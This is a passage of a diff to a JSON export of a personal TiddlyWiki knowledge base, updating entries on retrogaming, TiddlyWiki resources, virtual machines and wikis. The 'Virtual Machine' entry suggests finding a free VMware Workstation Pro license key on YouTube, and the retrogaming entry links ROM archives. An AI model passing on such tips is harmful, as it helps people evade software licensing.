lists of known wikis callable from a shorthand name\n*** Choosing number (by total from first/last, or ranges), or titles, of paragraphs or chapters to transclude (with support for specifying items to exclude)\n*** Retrieving and embedding files from wiki or Commons by known name (`File:`)\n*** It must also handle files that aren't images (audio/video)\n**** Default embed displays also the article cover image, allow setting a custom file or just `none`\n** Understand transclusions from external TiddlyWikis (it seems like people just use iframes, OK for showing things but not for choosing to display specific limited sections)\n* Somehow have working full-text search for tiddlers that transclude external wikis?\n\n!!!! ''Graphing and statistics''\n* Keyword (not tag) cloud ([[[tw5] Simple Word Clouds|https://talk.tiddlywiki.org/t/tw5-simple-word-clouds/3234]]?)\n* Need to get an automatic content-based relationship map (like the one on [[https://baczek.me/map/]])\n* Activity view with calendar (like KOReader) \u003C!-- or squares wall (Git) -->\n","tags":"OcttKB $:/i18n:en","title":"OcttKB/WIP","modified":"20230209095435375","modifier":"Octt"}, {"created":"20230217075057597","creator":"Octt","text":"\u003C\u003C^wikipediaframe OLED>>","tags":"Light","title":"OLED","modified":"20230217075257066","modifier":"Octt"}, @@ -807,7 +814,7 @@ Error message and password prompt {"created":"20230202232607543","creator":"Octt","text":"\u003C\u003CMediaWiki ReactOS en 3>>","tags":"$:/i18n:en","title":"ReactOS:en","modified":"20230206111552347","modifier":"Octt"}, {"created":"20230109104506263","creator":"Octt","text":"\u003C\u003CMediaWiki Reddit en 1>>\n\n!!! ''Tools''\n\n* [[Unddit|https://www.unddit.com/]] - //View deleted stuff from Reddit// - [[[Git|https://github.com/gurnec/removeddit]]]","tags":"Internet","title":"Reddit","modified":"20230206193216570","modifier":"Octt"}, {"created":"20230116222004372","text":"\u003C\u003CMediaWiki RetroArch en 3>>","tags":"TODO $:/i18n:en","title":"RetroArch:en","modified":"20230206111552351","modifier":"Octt"}, -{"created":"20221102121324531","creator":"Octt","text":"\u003C\u003CMediaWiki Retrogaming en 1>>\n\n!! ''Resources''\n\n!!! ''ROMs''\n* [[r/Roms Megathread|https://r-roms.github.io]]\n* [[No-Intro Romsets|https://archive.org/details/no-intro_romsets]]\n* [[Redump Romsets|https://archive.org/details/redump]]\n","tags":"Emulation Retro $:/i18n:en","title":"Retrogaming:en","modified":"20230206111552354","modifier":"Octt"}, +{"created":"20221102121324531","creator":"Octt","text":"\u003C\u003C^wikipediaframe Retrogaming en>>\n\n!! ''Resources''\n\n!!! ''ROMs and various archives''\n* [[r/Roms Megathread|https://r-roms.github.io]]\n* [[No-Intro Romsets|https://archive.org/details/no-intro_romsets]]\n* [[Redump Romsets|https://archive.org/details/redump]]\n* [[Myrient|https://myrient.erista.me/]] - //Where sharing is a priority//\n* [[MarioCube|https://mariocube.com/]] - //Repository focused on preserving Wii and GameCube goodies//\n","tags":"Emulation Retro $:/i18n:en","title":"Retrogaming:en","modified":"20230217223848764","modifier":"Octt"}, {"created":"20230130082004553","creator":"Octt","text":"\u003C\u003CWikipediaFrame Rockchip en 5>>","tags":"$:/i18n:en","title":"Rockchip:en","modified":"20230206111552356","modifier":"Octt"}, {"created":"20230205143921784","creator":"Octt","text":"\u003C\u003CiFrameBypass \"https://www.gsmarena.com/samsung_galaxy_ace_style_lte_g357-6706.php\">>","tags":"Android Samsung","title":"Samsung Galaxy Ace 4 Style","modified":"20230207183958638","modifier":"Octt"}, {"created":"20230129163358719","creator":"Octt","text":"\u003C\u003CMediaWiki Samsung_Galaxy_Player en 1>>\n\n!!! ''Galaxy Player 3.6''\n\n* Codename: aalto\n* Product name: Samsung Galaxy Player 3.6\n* Model number: YP-GS1\n\n---\n\n* Resources collection: https://gitlab.com/aalto-stuff","tags":"$:/i18n:en","title":"Samsung Galaxy Player:en","modified":"20230207184656649","modifier":"Octt"}, @@ -845,7 +852,7 @@ Error message and password prompt {"created":"20230130143847729","creator":"Octt","text":"\u003C\u003C.@Wikipedia The_Legend_of_Zelda en >>","tags":"Nintendo Retro $:/i18n:en Game Proprietary","title":"The Legend of Zelda:en","modified":"20230207221713804","modifier":"Octt"}, {"created":"20230208214932674","creator":"Octt","text":"\u003C\u003CMediaWiki The_World_Factbook en 5>>","tags":"USA Gov. Book Site Web","title":"The World Factbook","modified":"20230208215147789","modifier":"Octt"}, {"created":"20230215213023824","creator":"Octt","text":"* https://tic80.com/\n* https://github.com/nesbox/TIC-80\n\n\u003C\u003CWikipediaFrame TIC-80 en>>\n\n* [[Making fifty TIC-80 carts in a weekend|https://blinry.org/50-tic80-carts/]] \n* [[TIC80 - A Better Pico8?|https://8bitnews.io/article/tic80-a-better-pico8]]\n","tags":"Libre Fantasy Console Gaming","title":"TIC-80","modified":"20230216220454583","modifier":"Octt"}, -{"created":"20220924193842295","creator":"Octt","text":"\\define TwLL(Tid) [[$Tid$|https://tiddlywiki.com/#$Tid$]]\n\n\\define TwL(List)\n|\n\u003C$list filter=\"$List$\">\n \u003C$macrocall $name=\"TwLL\" Tid=\u003C\u003CcurrentTiddler>> />\n |\n\u003C/$list>\n\\end\n\n[[TiddlyWiki|https://tiddlywiki.com]] is the software upon which this website is built.\n\nIt is a libre, JavaScript-rich, non-linear notebook, that can well adapt to anyone's way of building a logically interconnected information database.\n\n\u003C\u003CMediaWiki TiddlyWiki en 2>>\n\n!! ''Useful Resources''\n\n* Official Git Repos: [[TiddlyWiki5 Source|https://github.com/Jermolene/TiddlyWiki5]], [[Others|https://github.com/TiddlyWiki]]\n* Official Docs: [[Standard|https://tiddlywiki.com]], [[Dev|https://tiddlywiki.com/dev]]\n* [[Links Aggregator|https://links.tiddlywiki.org]]\n* [[Grok TiddlyWiki|https://groktiddlywiki.com]] - //Build a deep, lasting understanding of TiddlyWiki//\n* [[TiddlyWiki Toolmap|https://dynalist.io/d/zUP-nIWu2FFoXH-oM7L7d9DM]]\n\n\u003C\u003C{\u003C TiddlyWiki/ThirdParty>>\n\n!!! ''Useful Documentation Pages''\n* \u003C\u003CTwL \" DateFormat \">>\n* \u003C\u003CTwL \" [[Filter Operators]] \">>\n* \u003C\u003CTwL \" MacroCallWidget SetWidget VarsWidget\">>\n* \u003C\u003CTwL \" EditTextWidget RangeWidget CheckboxWidget\">>\n* \u003C\u003CTwL \" [[Table-of-Contents Macros (Examples)]] \">>\n\n\u003C!-- !!! ''Discussions'' -->\n\u003C\u003C{\u003C TiddlyWiki/Discussions 3>>\n\n!! ''Notes/Personal''\n* [[OcttKB/WIP]]","title":"TiddlyWiki","modified":"20230211162852799","tags":"TiddlyWiki Wiki Zettelkasten Libre","modifier":"Octt"}, +{"created":"20220924193842295","creator":"Octt","text":"\\define TwLL(Tid) [[$Tid$|https://tiddlywiki.com/#$Tid$]]\n\n\\define TwL(List)\n|\n\u003C$list filter=\"$List$\">\n \u003C$macrocall $name=\"TwLL\" Tid=\u003C\u003CcurrentTiddler>> />\n |\n\u003C/$list>\n\\end\n\n[[TiddlyWiki|https://tiddlywiki.com]] is the software upon which this website is built.\n\nIt is a libre, JavaScript-rich, non-linear notebook, that can well adapt to anyone's way of building a logically interconnected information database.\n\n\u003C\u003C^wikipediaframe TiddlyWiki en >>\n\n!! ''Useful Resources''\n\n* Official Git Repos: [[TiddlyWiki5 Source|https://github.com/Jermolene/TiddlyWiki5]], [[Others|https://github.com/TiddlyWiki]]\n* Official Docs: [[Standard|https://tiddlywiki.com]], [[Dev|https://tiddlywiki.com/dev]]\n* [[Links Aggregator|https://links.tiddlywiki.org]]\n* [[Grok TiddlyWiki|https://groktiddlywiki.com]] - //Build a deep, lasting understanding of TiddlyWiki//\n* [[TiddlyWiki Toolmap|https://dynalist.io/d/zUP-nIWu2FFoXH-oM7L7d9DM]]\n\n\u003C\u003C{\u003C TiddlyWiki/ThirdParty>>\n\n!!! ''Useful Documentation or Articles''\n* \u003C\u003CTwL \" DateFormat \">>\n* \u003C\u003CTwL \" [[Filter Operators]] \">>\n* \u003C\u003CTwL \" MacroCallWidget SetWidget VarsWidget\">>\n* \u003C\u003CTwL \" EditTextWidget RangeWidget CheckboxWidget\">>\n* \u003C\u003CTwL \" [[Table-of-Contents Macros (Examples)]] \">>\n* [[How to Use Unicode Character (emoji) as Icon of Tags|https://dmitryrck.com/unicode-character-icon-of-tags-tiddlywiki/]] \u003C\u003CTwL \" [[How to create a custom tiddler icon rule]] \">>\n\n\u003C\u003C{\u003C TiddlyWiki/Discussions 3>>\n\n!! ''Notes/Personal''\n* [[OcttKB/WIP]]","title":"TiddlyWiki","modified":"20230217230617158","tags":"TiddlyWiki Wiki Zettelkasten Libre","modifier":"Octt"}, {"created":"20230127155833205","creator":"Octt","text":"Discussions that helped or might help me solve problems. And also some that are just plain interesing.\n\n* [[Date time wiki last updated or saved?|https://groups.google.com/g/TiddlyWiki/c/RxJdciY7yZY]]\n* [[Footnotes|https://groups.google.com/g/tiddlywiki/c/u5A6qK7CmrY]]\n* [[I want to edit something, oh no that's a transclusion|https://groups.google.com/g/TiddlyWiki/c/tYgM6kh9lNA]] | [[How do I transclude an edit window of a tiddler?|https://groups.google.com/g/tiddlywiki/c/GsMkfxSPkmA/m/cxGdAieIBgAJ]] | [[How to quickly navigate to a transcluded tiddler?|https://talk.tiddlywiki.org/t/how-to-quickly-navigate-to-a-transcluded-tiddler/4535/5]]\n* [[Is there way to make TiddlyWiki system-wide case insensitive?|https://groups.google.com/g/tiddlywiki/c/BcEF4fTzCj8]]\n* [[Macro to Create TOC Like Table with Dot Leader|https://talk.tiddlywiki.org/t/a-macro-to-create-toc-like-table-with-dot-leader/1232]]\n* [[Simple Javascript insertion in tiddlers (text/vnd.tiddlywiki)|https://groups.google.com/g/tiddlywiki/c/NwOI-QER2ig/m/lSLS3XolwDoJ]]\n* [[[TW5] Tag (Text) Cloud for TW5?|https://groups.google.com/g/tiddlywiki/c/_YE1pjZMFkg]] | [[TagCloud plugin|https://groups.google.com/g/tiddlywiki/c/VQPaJC6yyWM]]\n* [[Setting HTML attributes with a macro?|https://groups.google.com/g/tiddlywiki/c/Qp8Fzi0BR5I/m/N65Q6thTEwAJ]]\n* [[[Plugin] Presenting TW5-Uglify! Plugin compression the TiddlyWIki way!|https://groups.google.com/g/tiddlywiki/c/-kIVw00crRQ]]\n* [[TiddlyWiki Tiddler Editor: How to Improve the Usability?|https://talk.tiddlywiki.org/t/tiddlywiki-tiddler-editor-how-to-improve-the-usability/4657]]\n* [[Using conditional assignment mode of SetWidget to check empty strings|https://groups.google.com/g/tiddlywiki/c/Pzv5FDb9oHE/m/mh5Pzm7xAgAJ]]\n","modified":"20230215231624244","modifier":"Octt","title":"TiddlyWiki/Discussions","tags":"TiddlyWiki $:/i18n:en Discussion"}, {"created":"20220922163220116","text":"\u003Cstyle>\ntr:nth-child(even) {background-color: #f2f2f2;}\n\u003C/style>","tags":"Snippets TiddlyWiki","title":"TiddlyWiki/Snippets to Test","modified":"20230111082334125"}, {"created":"20230206113426599","creator":"Octt","text":"!!! ''Other Wikis, Plugin Collections''\n\n* [[BrainTest|https://braintest.tiddlyspot.com]] - //tools for a digital brain//\n* [[Calendar|https://tabbed-calendar.tiddlyspot.com]] - //a tabbed picture calendar//\n* [[Joe's Blog|https://joearms.github.io]] - Contains the [[Chandler|https://joearms.github.io/#2018-12-26%20Fun%20with%20the%20TiddlyWiki]] prototype time-management tool\n* [[kookma's codes, macros, and solutions in TW|https://kookma.github.io/TW-Scripts]]\n* Kookma Plugin Library - \u003Cspan>[\u003C/span>[[Drag To Install|$:/config/KookmaPluginLibrary]]]\n* [[NoteSelf|https://noteself.org]] - TiddlyWiki fork/flavor with interesting features built-in - [[[Git|https://github.com/NoteSelf]]]\n* [[Projectify|https://thaddeusjiang.github.io/Projectify]] - //Project management for TiddlyWiki// - [[[Git|https://github.com/ThaddeusJiang/Projectify]]]\n* [[Saq's TW5 Sandbox|https://saqimtiaz.github.io/tw5-plugins-sandbox]] - //Experimental doodads//\n* [[Stroll|https://giffmex.org/stroll/stroll.html]] - //A Roam-like experience in a free, downloadable file//\n* [[The public musings of Soren Bjornstad (Zettelkasten)|https://zettelkasten.sorenbjornstad.com]]\n* [[TiddlyMap|http://tiddlymap.org]] - //Map drawing and topic visualization for your wiki!// - [[[Git|https://github.com/felixhayashi/TW5-TiddlyMap]]]\n* [[TiddlyTools for TW5|https://tiddlytools.com/]] - //Small Tools for Big Ideas!β„’//\n* [[Tobias Beer's Plugins and Resources|https://tobibeer.github.io]] - [[[Profile|https://tobibeer.github.io/tb5/#Tobias%20Beer]]] [[[Git|https://github.com/tobibeer]]]\n* [[TW5 CPL Wiki|https://tw-cpl.netlify.app]] - //TiddlyWiki5 Plugin Library for TiddlyWiki Chinese Communities//\n* [[TW5 Magick|https://tw5magick.tiddlyspot.com]] - //Some tricks and snippets for TiddlyWiki 5//\n* [[TW5 Plugins, Themes, Hacks by Thomas Elmiger|https://tid.li/tw5/]] - //Build or optimise your own application for notetaking, writing or a ToDo-list system with these tools//\n** [[Presenting the Details Widget|https://groups.google.com/g/tiddlywiki/c/sRUVnlIaT3E]]\n* [[ZemoxWiki|https://zemox.tiddlyspot.com]] - //a haphazard meandering of notes, thoughts, experiments, links...//\n\n!!!! ''Individual Plugins''\n\n* [[Archipel|https://archipel.tiddlyspot.com/]] - //Data visualization Knowledge map of tiddler's ToC, as zoomable circle packs// - [[[Discussion|https://groups.google.com/g/tiddlywiki/c/wZZ-84FV0-k]]]\n* [[CodeMirrorPlus|https://adithya-badidey.github.io/TW5-codemirror-plus/]] - //A better editor for TW5, based on ~CodeMirror// - [[Demo|https://adithya-badidey.github.io/TW5-codemirror-plus/wiki.html]] | [[Git|https://github.com/adithya-badidey/TW5-codemirror-plus]]\n* [[Context Plugin|https://contextplugin.tiddlyspot.com]] - //search with context//\n* [[ECharts|https://tiddly-gittly.github.io/tw-echarts]] [[[Git|https://github.com/tiddly-gittly/tw-echarts]], [[Thread|https://talk.tiddlywiki.org/t/echarts-bringing-amazing-visualization-tools-to-tiddlywiki/1944]]] - //An All-in-one Visualization Framework for TiddlyWiki5 based on ECharts//\n* [[enable-js|http://tobibeer.github.io/tw/enable-js]] - //using inline script tags//\n* [[ibox|https://tobibeer.github.io/tw/ibox]] - //pretty-show images in tw5//\n* [Kookma] [[Refnotes|https://kookma.github.io/TW-Refnotes/]] - //references, citations, footnotes and abbreviations// - [[[Git|https://github.com/kookma/TW-Refnotes]]]\n* [[Relink|https://flibbles.github.io/tw5-relink]] - //flexibility when relinking renamed tiddlers//\n* [[Section Editor|https://kookma.github.io/TW-Section]] - //create, edit, fold, manage sections// - [[Git|https://github.com/kookma/TW-Section]] | [[Prototype discussion|https://talk.tiddlywiki.org/t/section-editor-prototype/951]]\n* [[Syntax-Highlighting Tiny Editor|https://talk.tiddlywiki.org/t/tw5-ready-to-play-prototype-syntax-highlighting-tiny-editor/4569]] (Ready-to-play prototype) - [[Download|https://talk.tiddlywiki.org/uploads/short-url/853ile3OvoeJ9uowpv0YYXnKhSe.json]]\n* [[TWCrossLinks|https://github.com/akhater/TWCrossLinks]] - //Discover all your intra-tiddlers links//","modified":"20230215224800680","modifier":"Octt","title":"TiddlyWiki/ThirdParty","tags":""}, @@ -860,7 +867,7 @@ Error message and password prompt {"created":"20230114161806791","creator":"Octt","text":"\u003C!--\n\\define URLRnd() https://source.unsplash.com/random?\u003C$macrocall $name=\"now\"/>\u003C\u003Cnow \"hh.mm.ss.XXX\">>\n--->\n\n\u003C\u003CMediaWiki Unsplash en 1>>\n\n!! ''Random Picture from the Gallery''\n\n\u003Ca href=\"https://unsplash.com\" rel=\"noopener noreferrer\" target=\"_blank\">\u003Cimg class=\"Img90\" src=\"https://source.unsplash.com/random\">\u003C/a>\n\n\u003C!--\n\u003Ca href=\"https://source.unsplash.com/random?{{{[\u003Cnow hh.mm.ss.XXX>]}}}\">a\u003C/a>\n--->","tags":"Internet $:/i18n:en","title":"Unsplash:en","modified":"20230206222244135","modifier":"Octt"}, {"created":"20230205142939788","creator":"Octt","text":"","tags":"TODO","title":"USB","modified":"20230205142946545","modifier":"Octt"}, {"created":"20230216224354471","creator":"Octt","text":"\u003C\u003C^wikipediaframe Vaporwave en>>","tags":"Art Meme","title":"Vaporwave","modified":"20230217081605511","modifier":"Octt"}, -{"created":"20230217144723956","creator":"Octt","text":"\u003C\u003C^wikipediaframe \"Virtual Machine\">>\n\n; Virtualization Software\n: [[QEMU]] - Usually accelerated with [[KVM|https://www.linux-kvm.org/]]\n: [[Oracle VirtualBox VM|https://www.virtualbox.org/]]\n: [[VMWare|https://www.vmware.com/]] - If you need a //Workstation Pro// license key for free, just [[look on YouTube|https://www.youtube.com/results?search_query=vmware+workstation+pro+license+key&sp=EgIIBQ%253D%253D]] (''don't trust keygens or hacked EXEs'', there are videos that just show you the key on the screen)\n\n; Cloud Virtualization\n: [[Appetize|https://appetize.io/]] - Android and iOS\n: [[AppOnFly|https://www.apponfly.com/]] - Windows apps\n: [[OnWorks|https://www.onworks.net/]] - Destkop Windows and Linux\n","tags":"","title":"Virtual Machine","modified":"20230217151902194","modifier":"Octt"}, +{"created":"20230217144723956","creator":"Octt","text":"\u003C\u003C^wikipediaframe \"Virtual Machine\">>\n\n; Virtualization Software\n: [[QEMU]] - Usually accelerated with [[KVM|https://www.linux-kvm.org/]]\n: [[Oracle VirtualBox VM|https://www.virtualbox.org/]]\n: [[VMWare|https://www.vmware.com/]] - If you need a //Workstation Pro// license key for free, just [[look on YouTube|https://www.youtube.com/results?search_query=vmware+workstation+pro+license+key&sp=EgIIBQ%253D%253D]] (''don't trust keygens or hacked EXEs'', there are videos that just show you the key on the screen)\n\n; Cloud Virtualization\n: [[ApkOnline|https://www.apkonline.net/]], [[Redfinger Cloud Phone|https://www.cloudemulator.net/]] - Android\n: [[Appetize|https://appetize.io/]] - Android and iOS\n: [[AppOnFly|https://www.apponfly.com/]] - Windows apps\n: [[OnWorks|https://www.onworks.net/]] - Destkop Windows and Linux\n","tags":"","title":"Virtual Machine","modified":"20230217182259634","modifier":"Octt"}, {"created":"20230217144210738","creator":"Octt","text":"\u003C\u003C^wikipediaframe \"Virtual Reality\" >>\n\n* [[Google Cardboard|https://arvr.google.com/cardboard/]]\n* [[Mozilla Hubs|https://hubs.mozilla.com/]] - //The true Metaverse, since before Meta was a thing.// - \u003C\u003C[ \"[[Git|https://github.com/mozilla/hubs]]\">>\n","tags":"","title":"Virtual Reality","modified":"20230217144644997","modifier":"Octt","type":""}, {"created":"20230205142158067","creator":"Octt","text":"!!! ''Clients''\n\n!!!! ''Android''\n\n* ''AVNC'': [[Git|https://github.com/gujjwal00/avnc]] | \u003C\u003CFDroidLink com.gaurav.avnc>> | \u003C\u003CGPlayLink com.gaurav.avnc>>","tags":"TODO Protocol","title":"VNC","modified":"20230205144518639","modifier":"Octt"}, {"created":"20230215193949819","creator":"Octt","text":"//Voxatron [alpha] is a fantasy console and collection of games made entirely out of voxels (little colourful cubes, kind of).// Made by the developers of [[PICO-8]].\n\n* https://www.lexaloffle.com/voxatron.php\n","tags":"Proprietary Alpha Fantasy Console Gaming","title":"Voxatron","modified":"20230215213631223","modifier":"Octt"}, @@ -873,11 +880,12 @@ Error message and password prompt {"created":"20221103223952562","text":"Some ideas on //how// and //into what// to make a website I want to collect. Some I gather from other people's sites.\n\n* Site Changelog on Home page\n* Animated/Static Image Buttons for expressing ideas or linking to other websites\n* Shrines\n* Vast photo Galleries","tags":"Internet $:/i18n:en","title":"Web design ideas","modified":"20230206111552426","modifier":"Octt"}, {"created":"20230207175931355","creator":"Octt","text":"!!! ''Network''\n\n* [[ping]]\n* [[traceroute]]","tags":"","title":"Webmaster\\Sysadmin Resources","modified":"20230207185026793","modifier":"Octt"}, {"created":"20221103220025295","text":"\u003C\u003CMediaWiki Webring en 4>>\n\n!!! ''List of many Webrings''\n\n//I should ask some for joining (with the sitoctt or the octt hub? or the octtkb?)//\n\nLegend:\n\n* βœ…: Joined\n* πŸ“…: Waiting\n* ❓: Asked for joining but got ignored (verified through page changes and stuff across weeks/months)\n* ❌: Got rejected\n* ✏️ (or empty): Noted only\n\n---\n\n* ✏️ https://250kb.club, https://512kb.club, https://1mb.club\n* βœ… https://fediring.net\n* ✏️ https://hotlinewebring.club\n* ✏️ https://xhtml.club\n* ✏️ https://webring.xxiivv.com\n* ❓ https://yesterweb.org/webring\n","tags":"Internet TODO $:/i18n:en","title":"Webrings","modified":"20230206111552433","modifier":"Octt"}, +{"created":"20230217225430678","creator":"Octt","text":"\u003C\u003C^wikipediaframe Website>>","tags":"Web","title":"Website","modified":"20230217225540214","modifier":"Octt"}, {"created":"20230130073530575","creator":"Octt","text":"\u003C\u003CMediaWiki Wget en 1>>","tags":"$:/i18n:en","title":"Wget:en","modified":"20230206111552437","modifier":"Octt"}, {"created":"20221009212222560","creator":"Octt","text":"!! Flags\n\n* Download required page assets: `-p`\n* Convert internal links to relative: `-k`\n* Download entire website (all links from domain + external resources): `--mirror`","tags":"Snippets $:/i18n:en","title":"Wget/Snippets","modified":"20230206203516264","modifier":"Octt"}, {"created":"20230208191321640","creator":"Octt","text":"* Data is generally safer in the long term.\n** Digital writing is often prone to information loss in the very short term in ways that paper is not (e.g: PC crashing while you write, phone falling out of your hands while writing and ending up with a dead display)...\n** ...but with proper automatic synchronization and backups solutions, in the long term computerized information is at a lesser risk:\n*** Case study: both my [[sitoctt]] and [[OcttKB]] save to their respective Git repos in the cloud; If all my devices with recent offline copies break, I don't lose the data; Those repos are mirrored to 2 other separate Git providers, minimizing the risk for if some go down someday; All are publicly accessible, so I can re-download the data even if I were to lose all my login details for all my accounts; Everyone can potentially make and distribute copies, more people have the data so it's harder for it to disappear from the face of the Earth.\n*** Compare this to a paper [[Notebook]]: if something happens to it, all your data is gone.\n\n* Faster and easier both to initially write new information, and also to then make adjustments. Updating data is continuous and flawless.\n** I can write much faster on a latin-alphabet keyboard than what I can by handwriting in the latin alphabet.\n** It's easier to do special formatting: Font styles, millions of colors, animations, backgrounds, navigations.\n\n* Data is indexable, searchable, and shareable fast, in both simple and infinitely complex ways, and fast.\n** [[Zettelkasten]] is much more doable with computers, even if it was born on paper\n** Never losing information (especially small snippets) after some time because of paper being too disorganized to search in.\n*** On paper, it's impossible to do full-text, as OCR systems are still pretty immature and high in computing cost, not to mention the overhead needed to feed a picture of the handwritten paper to the computer.\n** Can make the information available to everyone via the Internet, with pure text content being very easy to transfer, and also accessible for consumption to people who can't read with their eyes\n","tags":"Octt Writing Information Digital VS","title":"Why I write digitally","modified":"20230209144050752","modifier":"Octt"}, {"created":"20230205144223446","creator":"Octt","text":"","tags":"TODO Nintendo","title":"Wii U","modified":"20230206211841142","modifier":"Octt"}, -{"created":"20230203223711243","creator":"Octt","text":"\u003C\u003CMediaWiki Wiki en 3>>","tags":"$:/i18n:en","title":"Wiki:en","modified":"20230206111552440","modifier":"Octt"}, +{"created":"20230203223711243","creator":"Octt","text":"\u003C\u003C^wikipediaframe Wiki en>>","tags":"$:/i18n:en Information Knowledge","title":"Wiki","modified":"20230217225226443","modifier":"Octt"}, {"created":"20221202225934313","creator":"Octt","text":"\u003C\u003CMediaWiki Wikipedia en 1>>\n\nIt is truly one of the best places to gain general culture from. For anything that is not found on the [[OcttKB]], you should visit Wikipedia!\n\n!!! ''Resources''\n\n* [[Have you ever looked up Wikipedia on Wikipedia?|https://polls.entmt.narkive.com/3RQHnrMT/have-you-ever-looked-up-wikipedia-on-wikipedia]]","tags":"Internet $:/i18n:en","title":"Wikipedia:en","modified":"20230215210830921","modifier":"Octt"}, {"created":"20230113230346823","creator":"Octt","text":"* https://wikispacc.miraheze.org","tags":"TODO $:/i18n:en Spacc Wiki MediaWiki","title":"WikiSpacc:en","modified":"20230209162903038","modifier":"Octt"}, {"created":"20230112115019993","text":"\u003C\u003CMediaWiki \"Help:Wikitext\" en 1>>\n\n!!! ''MediaWiki's vs TiddlyWiki's Wikitext''\n\n''Documentation'': [[Wikipedia's|https://en.m.wikipedia.org/wiki/Help:Wikitext]] | [[TiddlyWiki's|https://tiddlywiki.com/#WikiText]]\n\n!!!! ''Equalities''\n\n* ''Unordered and Ordered Lists''\n* ''Break lines'': A single newline doesn't break the text, an empty line starts a new paragraph.\n\n!!!! ''Differences''\n\n||''MediaWiki''|''TiddlyWiki''|\n|''Headings''|Name enclosed in a pair of //equals//:\u003Cbr>`=== Heading 3 ===`|Name preceded by //bangs//:\u003Cbr>`!!! Heading 3`|\n|''Bold'':\u003Cbr>Text enclosed in a pair of:|3 //apostrophes//:\u003Cbr>`'''Text'''`|2 //apostrophes//:\u003Cbr>`''Text''`|\n|''Italics'':\u003Cbr>Text enclosed in a pair of:|2 //apostrophes//:\u003Cbr>`''Text''`|2 //slashes//:\u003Cbr>`//Text//`|\n|''Indentation''|`Indentation as used on talk pages:`\u003Cbr>`:Each colon at the start of a line`\u003Cbr>`::causes the line to be indented by three more character positions.`|N/A|\n|''Horizontal Rule''|4 or more //dashes//:\u003Cbr>`----`|3 or more //dashes//:\u003Cbr>`---`|\n|''Hard Linebreaks''|N/A|Text enclosed in 3 //quotes//:\u003Cbr>`\"\"\"`\u003Cbr>`Text`\u003Cbr>`Still Text`\u003Cbr>`\"\"\"`|\n|''Links''|Target first, Name last|Name first, Target last|","tags":"TiddlyWiki MediaWiki $:/i18n:en","title":"Wikitext:en","modified":"20230206111552455","modifier":"Octt"},